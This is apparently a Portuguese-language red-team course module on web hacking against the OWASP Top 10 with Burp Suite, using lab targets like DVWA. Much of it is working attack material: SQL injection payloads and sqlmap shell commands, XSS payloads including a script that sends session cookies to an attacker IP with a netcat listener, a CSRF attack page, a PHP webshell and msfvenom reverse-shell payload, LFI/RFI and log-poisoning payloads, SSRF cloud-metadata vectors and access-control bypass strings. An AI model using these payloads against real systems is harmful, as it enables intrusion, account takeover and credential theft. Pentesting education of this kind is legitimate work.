Hacking Web & OWASP
29/08/2026
5 min read

MÓDULO 8 — Hacking Web (OWASP Top 10) & Burp Suite Completo: Do Recon ao RCE

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Domine a auditoria e o ataque a aplicações web com o OWASP Top 10 e o Burp Suite. Aprenda a interceptar tráfego HTTP, operar Repeater/Intruder/Decoder e explorar SQL Injection (manual e sqlmap), XSS (Reflected/Stored/DOM), SSRF, CSRF, File Upload para RCE, LFI/RFI com wrappers e IDOR/Auth Bypass no DVWA.

MÓDULO 8 — Hacking Web (OWASP Top 10) & Burp Suite Completo: Do Recon ao RCE

Aplicações web representam a maior e mais dinâmica superfície de ataque corporativa. Neste módulo prático, estruturamos nosso roteiro ofensivo a partir do OWASP Top 10 utilizando o Burp Suite como nossa plataforma central de interceptação, análise e manipulação de requisições HTTP — partindo da inspeção de tráfego bruto até a exploração de falhas críticas como SQL Injection, XSS, SSRF, File Upload malicioso para RCE, LFI/RFI, IDOR e Bypass de Autenticação.

8.1 A Arquitetura do Ataque Web e o Arsenal do Auditor

Toda a interação web se baseia no protocolo HTTP/HTTPS cliente-servidor. Ao posicionar um proxy interceptador no meio do caminho, você ganha visibilidade e controle total sobre cada cabeçalho, cookie, parâmetro e corpo de requisição antes que ele alcance o backend:

text
Hacking78 Snippet
Navegador (Firefox) ──> [ Burp Suite Proxy (127.0.0.1:8080) ] ──> Servidor Alvo Web
         ▲                                   │
         └─────────── Edição / Fuzzing ──────┘

Ferramentas Essenciais do Web Pentester

  • Burp Suite: Proxy HTTP/HTTPS, repetição manual, automação de fuzzing e análise estrutural.
  • SQLMap: Automação avançada para detecção e extração de dados via SQL Injection.
  • WPScan: Scanner de vulnerabilidades especializado em ecossistemas WordPress.
  • Gobuster / Feroxbuster: Fuzzing em alta velocidade de arquivos, diretórios e rotas de API.
  • cURL / HTTPie: Execução de requisições cirúrgicas via terminal e automação de PoCs.
  • Laboratórios Recomendados: DVWA (Damn Vulnerable Web App), OWASP Mutillidae II e os laboratórios gratuitos da PortSwigger Web Security Academy.

8.2 Burp Suite do Zero: Da Instalação ao Domínio dos Módulos

8.2.1 Edições e Interface

  • Burp Suite Community Edition: Versão gratuita padrão que inclui Proxy, Repeater, Decoder, Comparer e Sequencer (ideal para o aprendizado prático deste módulo).
  • Burp Suite Professional: Edição corporativa com Web Vulnerability Scanner automatizado, Intruder com alta taxa de requisições por segundo e acesso total à BApp Store.

8.2.2 Configuração do Proxy em 5 Passos

text
Hacking78 Snippet
1. Listener Local: Verifique em Proxy → Proxy Settings se o listener está ativo em 127.0.0.1:8080.
2. Proxy no Navegador: No Firefox de teste, configure as preferências de rede para Proxy Manual HTTP: 127.0.0.1 porta 8080.
3. Instalação da Autoridade Certificadora (CA): Com o proxy ativo, acesse http://burp no navegador, clique em "CA Certificate" e importe o arquivo cacert.der no Firefox marcando "Confiar nesta CA para identificar sites da Web".
4. Validação: Navegue em um site HTTP/HTTPS de laboratório e confirme se o tráfego é registrado no Burp.
5. Isolamento: Utilize o Burp exclusivamente em um navegador dedicado de testes, jamais em seu navegador de uso pessoal.

8.2.3 As Abas Principais do Burp Suite

  • Proxy / Intercept: Intercepta requisições em trânsito permitindo alterar parâmetros, cabeçalhos ou cookies antes de enviá-los ao servidor.
  • HTTP History: Histórico cronológico e ordenável de todas as requisições e respostas que trafegaram pelo proxy.
  • Repeater (`Ctrl+R`): Ambiente de reenvio manual onde você edita payloads e inspeciona a resposta imediatamente.
  • Intruder (`Ctrl+I`): Motor de ataques automatizados e testes de força bruta baseados em marcação de posições com marcadores §.
  • Decoder: Utilitário para codificação e decodificação rápida em Base64, URL Encoding, Hexadecimal, HTML Entities e hashes.
  • Comparer (`Ctrl+B`): Comparador visual lado a lado de respostas HTTP por palavras ou bytes.
  • Target / Site Map: Mapa em árvore hierárquica de toda a estrutura de diretórios e endpoints descoberta na navegação.

8.2.4 Operação no Intruder (Posições e Tipos de Ataque)

text
Hacking78 Snippet
- Sniper: Testa uma lista de payloads em uma única posição marcada por vez (ideal para XSS, SQLi em campo único).
- Battering Ram: Insere o mesmo payload simultaneamente em todas as posições marcadas.
- Pitchfork: Utiliza listas de payloads paralelas para posições distintas (ex: lista de usuários na posição 1 e lista de senhas na posição 2, testadas par a par).
- Cluster Bomb: Testa todas as combinações cruzadas possíveis entre múltiplas listas (essencial para brute force completo de login).

8.3 O Guia OWASP Top 10 Aplicado ao Red Teaming

O OWASP Top 10 padroniza as dez classes mais críticas de riscos de segurança em aplicações web:

  • A01: Broken Access Control (Controle de Acesso Quebrado): IDOR, falhas de autorização horizontal/vertical e bypass de diretórios restritos.
  • A02: Cryptographic Failures (Falhas Criptográficas): Transmissão em texto claro e uso de algoritmos legados.
  • A03: Injection (Injeções): SQL Injection, NoSQL Injection, OS Command Injection e XSS.
  • A04: Insecure Design (Design Inseguro): Falhas inerentes à arquitetura e lógica de negócios da aplicação.
  • A05: Security Misconfiguration (Má Configuração de Segurança): Permissões padrão, métodos HTTP inseguros e cabeçalhos de segurança ausentes.
  • A06: Vulnerable and Outdated Components: Plugins, bibliotecas e frameworks com CVEs públicas.
  • A07: Identification and Authentication Failures: Falhas de brute force, fixação de sessão e senhas previsíveis.
  • A08: Software and Data Integrity Failures: Desserialização insegura e validação imprópria de arquivos enviados.
  • A09: Security Logging and Monitoring Failures: Ausência de trilhas de auditoria e telemetria para detecção de anomalias.
  • A10: Server-Side Request Forgery (SSRF): Forjamento de requisições disparadas pelo próprio servidor contra recursos internos ou metadados de nuvem.

---

8.4 SQL Injection (A03) — Da Identificação Manual à Automação com SQLMap

Ocorre quando dados fornecidos pelo usuário são concatenados diretamente em consultas dinâmicas sem parametrização ou sanitização adequada.

sql
Hacking78 Snippet
-- Exemplo de backend vulnerável:
SELECT * FROM users WHERE username = '$_POST[user]' AND password = '$_POST[pass]';

-- Payload injetado no campo user: ' OR '1'='1
-- Consulta interpretada pelo banco:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';

Detecção Manual via Burp Repeater

text
Hacking78 Snippet
1. Disparo de Caractere de Quebra: Envie 1' ou 1" — observe se ocorre erro de sintaxe SQL (ex: "You have an error in your SQL syntax").
2. Validação Booleana:
   - Envie: 1' AND '1'='1 (A página deve responder com o conteúdo normal).
   - Envie: 1' AND '1'='2 (A página deve ocultar os dados ou responder com conteúdo diferente).
3. Teste Time-Based (Cego por Tempo):
   - MySQL: 1' AND (SELECT SLEEP(5))-- -
   - Se a resposta demorar 5 segundos para retornar, a vulnerabilidade está confirmada.

Extração Estruturada via UNION-Based SQLi

sql
Hacking78 Snippet
-- 1. Descobrir a quantidade de colunas retornadas pela query original:
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- - -- Se a coluna 3 falhar, sabemos que a query possui 2 colunas.

-- 2. Identificar quais colunas refletem dados na tela:
1' UNION SELECT null, null-- -
1' UNION SELECT 'col1', 'col2'-- -

-- 3. Extrair metadados e versões do SGBD:
1' UNION SELECT version(), user()-- -
1' UNION SELECT database(), schema()-- -

-- 4. Extrair tabelas e colunas através do Information Schema (MySQL):
1' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema=database()-- -
1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users'-- -

-- 5. Extrair credenciais e hashes:
1' UNION SELECT user, password FROM users-- -

Automação Profissional com SQLMap

bash
Hacking78 Snippet
# Varredura autenticada com cookie de sessão:
sqlmap -u "http://192.168.56.10/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"        --cookie="PHPSESSID=abc123; security=low"        --batch --level=2 --risk=2

# Enumerar bancos de dados, tabelas e extrair registros:
sqlmap -u "..." --cookie="..." --dbs
sqlmap -u "..." --cookie="..." -D dvwa --tables
sqlmap -u "..." --cookie="..." -D dvwa -T users --columns
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump

# Obter shell iterativo no servidor (quando privilégios de escrita existirem):
sqlmap -u "..." --cookie="..." --os-shell

---

8.5 Cross-Site Scripting (XSS) (A03)

O XSS ocorre quando a aplicação renderiza dados fornecidos pelo usuário no navegador da vítima sem codificação contextual (HTML encoding).

Categorias de XSS

  • Reflected XSS (Refletido): O payload é enviado na requisição (ex: parâmetro de busca) e refletido imediatamente na resposta. Exige que a vítima clique em um link manipulado.
  • Stored XSS (Armazenado / Persistente): O payload é gravado permanentemente no banco de dados (ex: comentários, fórum, perfil). Todo usuário que visualizar a página será infectado automaticamente.
  • DOM-Based XSS: A falha reside inteiramente no JavaScript do lado do cliente ao manipular o DOM (ex: document.location inserido em element.innerHTML).
html
Hacking78 Snippet
<!-- Payloads clássicos e bypasses -->
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.domain)>
<a href="javascript:alert(1)">Clique Aqui</a>

PoC Real de Roubo de Sessão (Account Takeover)

html
Hacking78 Snippet
<!-- Payload injetado na aplicação vulnerável -->
<script>
  fetch('http://192.168.56.101:8080/log?cookie=' + encodeURIComponent(document.cookie));
</script>
bash
Hacking78 Snippet
# No Kali: Listener recebendo os cookies das vítimas conectadas
nc -lvnp 8080

---

8.6 Server-Side Request Forgery (SSRF) (A10)

O SSRF induz o servidor backend a originar requisições HTTP para destinos arbitrários definidos pelo atacante.

text
Hacking78 Snippet
Funcionalidades Suspeitas: Importadores de URLs, geradores de miniaturas/PDFs, webhooks e validadores de links.
text
Hacking78 Snippet
# Vetores de exploração de SSRF:
http://127.0.0.1:80/admin/                    → Acesso a painéis administrativos locais
http://192.168.56.10/                         → Varredura de ativos na rede interna restrita
file:///etc/passwd                            → Leitura direta de arquivos locais do servidor
http://169.254.169.254/latest/meta-data/      → Extração de credenciais de IAM e instâncias AWS Cloud
http://metadata.google.internal/computeMetadata/v1/ → Metadados no Google Cloud Platform (GCP)

---

8.7 Cross-Site Request Forgery (CSRF) (A01/A05)

O CSRF força o navegador de uma vítima autenticada a submeter requisições não autorizadas contra a aplicação vulnerável sem o seu conhecimento.

html
Hacking78 Snippet
<!-- Exemplo de formulário de ataque hospedado pelo atacante -->
<html>
  <body>
    <h1>Parabéns! Você ganhou um prêmio.</h1>
    <form id="csrfForm" action="http://alvo.local/vulnerabilities/csrf/" method="GET">
      <input type="hidden" name="password_new" value="HackedPassword78!" />
      <input type="hidden" name="password_conf" value="HackedPassword78!" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

Teste de Validação no Burp Inspecione se o formulário utiliza tokens anti-CSRF aleatórios e imprevisíveis vinculados à sessão do usuário. No Repeater, remova o token ou envie um token de outra sessão para verificar se o backend valida a integridade do pedido.

---

8.8 File Upload Inseguro — O Caminho Direto para RCE (A08)

Ocorre quando o servidor aceita o envio de arquivos sem validar rigorosamente sua extensão, tipo MIME ou conteúdo real, permitindo o upload e execução de um webshell.

php
Hacking78 Snippet
<!-- Webshell PHP mínimo -->
<?php system($_GET['cmd']); ?>

Técnicas de Bypass de Validação de Upload

text
Hacking78 Snippet
1. Variação de Extensões: .php5, .phtml, .pht, .phar, .inc, .php.jpg, .php%00.jpg
2. Manipulação de Cabeçalho MIME no Burp: Alterar 'Content-Type: application/x-php' para 'Content-Type: image/jpeg'.
3. Injeção de Magic Bytes (Assinatura de Arquivo): Inserir 'GIF89a' na primeira linha do webshell para contornar verificações de assinatura de imagem.
bash
Hacking78 Snippet
# Geração de Webshell Meterpreter via MSFVenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f raw -o webshell.php

# Execução e teste de comandos após upload:
curl "http://192.168.56.10/dvwa/hackable/uploads/webshell.php?cmd=id"

---

8.9 LFI e RFI (Local / Remote File Inclusion) (A03)

Ocorre quando a aplicação utiliza parâmetros fornecidos pelo usuário para incluir dinamicamente arquivos no fluxo de execução do interpretador PHP/backend.

php
Hacking78 Snippet
// Código PHP vulnerável:
include($_GET['page']);

Local File Inclusion (LFI) e PHP Wrappers

text
Hacking78 Snippet
# Path Traversal clássico:
?page=../../../../../../etc/passwd
?page=../../../../../../etc/hosts

# PHP Filter Wrapper (Extração de código-fonte em Base64):
?page=php://filter/convert.base64-encode/resource=index.php

# Log Poisoning para RCE:
1. Injetar código PHP no cabeçalho User-Agent de uma requisição qualquer:
   User-Agent: <?php system($_GET['c']); ?>
2. Incluir o arquivo de log do Apache via LFI:
   ?page=../../../../var/log/apache2/access.log&c=id

Remote File Inclusion (RFI)

text
Hacking78 Snippet
?page=http://192.168.56.101:8080/shell.txt
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id

---

8.10 Broken Access Control & IDOR (A01)

IDOR (Insecure Direct Object Reference) Ocorre quando a aplicação utiliza identificadores diretos fornecidos pelo usuário para acessar recursos do banco sem verificar se o solicitante possui autorização de acesso àquele objeto.

text
Hacking78 Snippet
Requisição Legítima: GET /api/documents?doc_id=1050
Ataque via Burp Intruder: Fuzzing sequencial de 1000 a 2000 no parâmetro doc_id para extrair documentos de terceiros.

Técnicas de Bypass de Autenticação e 403 Forbidden

bash
Hacking78 Snippet
# Variações de Path Traversal e Normalização de URL contra regras 403:
/admin
/admin/
/Admin
/%2e/admin
/./admin
//admin
/admin%20
/admin%00
/admin..;/

# Cabeçalhos HTTP de Spoofing de IP Interno:
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1

---

8.11 Metodologia de Fuzzing com Burp Intruder e WPScan

bash
Hacking78 Snippet
# Auditoria automatizada em ambientes WordPress:
wpscan --url http://192.168.56.10/wordpress/        --enumerate u,vp,vt        --api-token SEU_TOKEN_WPVULNDB

# Extração de usuários via API REST nativa do WordPress:
curl -s http://192.168.56.10/wp-json/wp/v2/users | jq '.[].slug'

---

8.12 Roteiro Metodológico do Web Penetration Testing

text
Hacking78 Snippet
1. Definição de Escopo & Regras de Engajamento (RoE)
2. Reconhecimento Passivo e Ativo (WhatWeb, Gobuster, Robots.txt, Sitemap)
3. Mapeamento Estrutural no Burp Suite (Site Map e HTTP History com fluxo completo do usuário)
4. Análise de Autenticação, Sessões e Controle de Acesso (IDOR, Tampering de Parâmetros, CSRF)
5. Testes Cirúrgicos de Injeção de Input (SQLi via Repeater, XSS em múltiplos contextos)
6. Auditoria de Uploads e Inclusão de Arquivos (Bypass de extensões, LFI/RFI, Log Poisoning)
7. Validação Manual e Consolidação de PoCs (Eliminação de falsos positivos com cURL/Burp)
8. Elaboração do Relatório Executivo e Técnico com CVSS e Mitigações Claras

8.13 Checklist de Conclusão do Módulo 8

  • [x] Configurei o Burp Suite com certificado CA e integrei ao navegador de testes.
  • [x] Sei operar os módulos Proxy, HTTP History, Repeater, Intruder, Decoder e Comparer.
  • [x] Compreendo as dez categorias do OWASP Top 10 e seus impactos de negócio.
  • [x] Executo testes manuais de SQL Injection (Union, Error, Time-Based) e automatizo com SQLMap.
  • [x] Identifico e exploro falhas de XSS (Reflected, Stored, DOM) para roubo de sessão.
  • [x] Sei testar e demonstrar o impacto de falhas de SSRF e CSRF.
  • [x] Domino técnicas de bypass em upload de arquivos para conquista de RCE.
  • [x] Exploro falhas de LFI e RFI utilizando wrappers do PHP e log poisoning.
  • [x] Realizo testes de IDOR, Client-Side Tampering e bypass de restrições 403.
  • [x] Realizo auditorias em instalações WordPress utilizando WPScan.
  • [x] Estruturo relatórios técnicos com evidências reproduzíveis e mitigações detalhadas.
📌
Resumo Prático: O hacking web moderno combina o entendimento profundo do protocolo HTTP com o domínio das ferramentas certas. Utilizar o Burp Suite para inspecionar e manipular cada requisição em tempo real, explorar as vulnerabilidades do OWASP Top 10 com precisão cirúrgica e validar manualmente cada hipótese de ataque garante relatórios de alto impacto e a descoberta de falhas críticas que nenhum scanner automatizado é capaz de encontrar sozinho.

Perguntas Frequentes (FAQ)

Qual é a diferença de uso entre o Burp Repeater e o Burp Intruder?

O Burp Repeater é utilizado para testes manuais e refinamento de payloads individuais, permitindo enviar requisições repetidas e inspecionar a resposta em tempo real. Já o Burp Intruder é uma ferramenta de automação e fuzzing que permite marcar posições específicas na requisição e disparar centenas ou milhares de payloads a partir de listas pré-configuradas (como brute force de senhas, enumeração de diretórios e teste em massa de IDs para IDOR).

Por que a sanitização apenas no lado do cliente (JavaScript) é ineficaz contra ataques web?

Toda validação realizada no navegador do usuário pode ser facilmente contornada utilizando ferramentas de proxy como o Burp Suite. O atacante intercepta a requisição após a validação do JavaScript e altera os valores antes que cheguem ao servidor. Por essa razão, a validação de formato, tipos de dados e permissões deve ser sempre implementada e garantida no backend.

Qual é o risco crítico de uma vulnerabilidade de SSRF em infraestruturas de Cloud (AWS/GCP/Azure)?

Em ambientes de nuvem, instâncias virtuais (como EC2 na AWS) podem consultar endpoints de metadados locais (ex: http://169.254.169.254/latest/meta-data/). Um atacante que explora SSRF pode induzir o servidor a consultar esse endereço restrito e extrair credenciais temporárias de segurança (IAM Roles), conquistando acesso administrativo a toda a conta de nuvem da empresa.

Como os PHP Filters (php://filter) auxiliam na exploração de falhas de LFI?

Quando um arquivo PHP é incluído diretamente via LFI, o servidor normalmente o executa e exibe apenas o resultado processado. Utilizando o wrapper 'php://filter/convert.base64-encode/resource=arquivo.php', o interpretador codifica o código-fonte em Base64 antes da execução, permitindo que o auditor baixe e leia o código PHP original (incluindo credenciais de banco e lógica de autenticação).